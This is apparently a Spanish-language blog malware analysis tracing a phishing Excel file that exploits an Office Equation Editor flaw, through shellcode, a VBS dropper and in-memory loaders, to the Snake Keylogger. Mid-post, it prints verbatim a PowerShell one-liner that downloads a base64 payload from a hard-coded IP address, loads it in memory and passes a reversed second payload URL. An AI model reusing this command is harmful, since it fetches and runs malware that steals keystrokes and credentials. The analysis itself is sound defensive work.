Hola a tod@s!
Hoy veremos como ocultan el Malware a través de varios artefactos colocados en diferentes sitios para que te vuelvas, literalmente, loco.
Fijaros en esta muestra.
Aquí tenemos casi todo el flujo completo, desde el correo (punto de entrada) hasta parte del malware final, aunque no se vea en la captura...
El usuario recibe un correo con un fichero Excel adjunto:
Esto es muy común, el 99% de las veces ocurre de esta forma. Tratan de confeccionar un correo que sea creíble y te adjuntan un fichero de este tipo que aprovecha alguna vulnerabilidad. Otras veces, se envía un fichero PDF con un enlace u otro en formato DOC, que es menos detectado para los Antivirus, Reglas Yara, etc. Sólo con un enlace a donde descarga el malware que quieren que ejecutes.
Veamos qué es lo hace este fichero Excel, primero en Any.run:
Se aprecia “EQNEDT32.EXE”, o lo que es lo mismo, aprovecha alguna vulnerabilidad de Microsoft Office relacionada con el Editor EQUATION (¿ CVE-2017-11882 ? Posiblemente).
Lo primero que podemos hacer es buscar el hash en Virus Total, si se encuentra ahí, siempre, es una ayuda para identificar lo que es. Y su comportamiento, no hay que olvidar que el malware se ejecuta en varios entornos de sandbox y nos muestran el resultado de todos ellos.
Virus Total nos confirma nuestras sospechas y si vamos a la pestaña de comportamiento, vemos como parece que descarga algo (un fichero VBS) y lo ejecuta.
Después parece consultar su dirección IP en checkip.dyndns.(com|org), pero eso ya vendrá más adelante. De momento, estamos con el fichero Excel.
Any-run también nos advertía de lo que se venía encima, pulsando sobre EQNEDT32.exe, en el detalle del proceso se podía ver la vulnerabilidad que aprovecha. Así que ya lo confirman tanto Any-run como Virus Total, aprovecha CVE-2017-11882o alguno similar. Seguramente, lo ha detectado por el comportamiento, EXCEL → EQNEDT32.exe → Wscript.exe
Fijaros en esto, es la shellcode que se ejecuta desde el Editor vulnerable de Microsoft.
Traduzco todo esto:
Obtiene la ruta del fichero que va a guardar, hace uso de una variable de entorno %APPDATA% y obtiene las direcciones de las funciones que va a utilizar con LoadLibraryA y GetProcAddress (esto en tiempo de ejecución).
Después con la función URLDownloadToFileA descarga el fichero desde la URL que veis y lo guarda como un fichero VBS. A continuación, lo ejecuta con ShellExecuteA (por lo que se ejecutará con el programa asociado a la extensión vbs) y finaliza el proceso.
Si hacemos caso de Any-run, ¿ Por qué no íbamos a hacerlo ? El fichero VBS ejecuta un comando Powershell.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/bug/dll_nostartup.mp4'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.gdfsdffdssfdgdddfhgdghfgf/42.021.871.591//:ptth'))
Tenemos 2 URL, esa que termina en .mp4 y otra en .txt. ¿Que donde está esta última? Está al revés.
Su contenido en el fichero se encuentra al revés como antes, acostumbraros a ver las cosas al revés, por lo menos en lo que vais a ver en este artículo:
Así que si le damos la vuelta y tenemos un bonito fichero PE.
En cuanto a la otra URL, no os fiéis de la extensión, no es un .mp4, sino otra cadena codificada en base64.
Que una vez decodificada obtenemos otro fichero PE.
Los 2 binarios están ofuscados, aunque solamente parezca que lo está 1 de ellos.
Si os acordáis del comando Powershell, teníamos: GetType('ClassLibrary3.Class1').GetMethod('Run')
Esto se encuentra en el fichero procedente de dll_nostartup.mp4, lo pongo de esta forma para recordarlo base64decode(“dll_nostartup.mp4”) = otro fichero PE:
Y vemos, de nuevo, otra URL al revés para descargar. Después se utiliza una función para reemplazar, le da la vuelta y decodifica la cadena base64, generando otro PE.
Este fichero PE también está ofuscado y por el nombre, se intuye lo que hace.
Una vez desofuscado, tenemos lo que parecía, se utiliza para poder ejecutar en memoria cualquier binario con la técnica conocida como RunPE o Process Hollowingy que no pise disco para que no pueda ser analizado por los Antivirus.
Entonces tenemos que 1 de los binarios iniciales está destinado a ejecutar algo en memoria, y ¿el otro, el que procedía de fgfhgdghfdddgdfssdffdsfdg.txt?
Después de desofuscarlo, tiene el siguiente aspecto:
Algunos los habréis identificado solamente con ver esos ns1 … ns17, ¿verdad?
En la configuración de este malware podemos ver cómo envía la información que va recopilando.
Las más comunes que veréis son por correo, como este y también Telegram o FTP (las que menos). Lo sé, aún no os he dicho qué es… Bajamos un poco más en el código y saldremos de dudas, me quedo con esta captura:
Así que se trata de Snake Keylogger, este troyano es capaz de capturar todo lo que teclea el usuario, además de buscar información sensible en navegadores, clientes de correo, portapapeles, etc.
Como curiosidad, tiene un listado interminable de procesos que no le gustan.
Si encuentra alguno, ya sabéis, lo finaliza.
Este comando os puede servir para identificarlo, su auto-borrado.
La persistencia la crea mediante una clave de registro en Run, en HKCU (del usuario autenticado).
Y aquella petición que veíamos en Virus Total a checkip.dyndns.org, la hacía este malware para obtener su IP en internet y adjuntarlo en el envío.
Este malware parece que afecta cada vez más a España, según las noticias Ciberseguridad que podáis leer, así que cuidado con él.
Espero que os haya gustado el POST y ¡¡nos vemos en el próximo!!
Saludos